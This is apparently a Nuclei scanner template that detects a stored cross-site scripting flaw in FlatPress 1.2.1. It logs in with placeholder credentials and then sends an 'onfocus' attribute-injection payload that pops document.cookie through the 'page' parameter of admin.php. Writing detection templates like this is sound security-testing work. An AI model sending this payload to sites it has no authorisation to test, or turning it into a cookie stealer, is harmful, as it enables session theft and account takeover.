flatpress-xss: FlatPress 1.2.1 - Stored Cross-Site Scripting

id: flatpress-xss

info:
  name: FlatPress 1.2.1 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can steal cookie-based authentication credentials and launch other attacks. Note: this is similar to CVE-2021-41432, however this attack uses the "page" parameter.
  reference:
    - https://github.com/flatpressblog/flatpress/issues/153
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
    cpe: cpe:2.3:a:flatpress:flatpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"Flatpress"
    product: flatpress
    vendor: flatpress
  tags: flatpress,xss,authenticated,oss,intrusive

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp

        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundarykGJmx9vKsePrMkVp--
      - |
        GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.cookie%29%22autofocus%3d%22 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'value=""onfocus="alert(document.cookie)"autofocus=""'
          - 'FlatPress'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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